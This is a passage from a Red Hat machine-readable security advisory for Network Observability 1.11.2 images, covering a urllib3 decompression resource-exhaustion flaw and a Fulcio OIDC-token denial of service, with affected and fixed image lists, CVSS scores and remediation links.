"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2419467"
}
],
"notes": [
{
"category": "description",
"text": "A decompression handling flaw has been discovered in urllib3. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "urllib3: urllib3 Streaming API improperly handles highly compressed data",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw in urllib3\u0027s streaming API that can lead to excessive resource consumption, including high CPU usage and significant memory allocation. When processing highly compressed data from untrusted sources, even small requested chunks can trigger full decompression, posing a denial-of-service risk to client-side applications utilizing affected urllib3 versions prior to 2.6.0.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66471"
},
{
"category": "external",
"summary": "RHBZ#2419467",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419467"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66471",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66471"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66471",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66471"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7",
"url": "https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"
},
{
"category": "external",
"summary": "https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37",
"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"
}
],
"release_date": "2025-12-05T16:06:08.531000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "urllib3: urllib3 Streaming API improperly handles highly compressed data"
},
{
"cve": "CVE-2025-66506",
"cwe": {
"id": "CWE-405",
"name": "Asymmetric Resource Consumption (Amplification)"
},
"discovery_date": "2025-12-04T23:01:20.507333+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2419056"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Fulcio, a free-to-use certificate authority. This vulnerability allows a denial of service (DoS) due to excessive memory allocation when processing a malicious OpenID Connect (OIDC) identity token containing numerous period characters.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "github.com/sigstore/fulcio: Fulcio: Denial of Service via crafted OpenID Connect (OIDC) token",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat as Fulcio, a certificate authority used for issuing code signing certificates, is susceptible to a denial of service when processing a specially crafted OpenID Connect (OIDC) token. This could lead to resource exhaustion and service unavailability in affected Red Hat products that utilize Fulcio.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
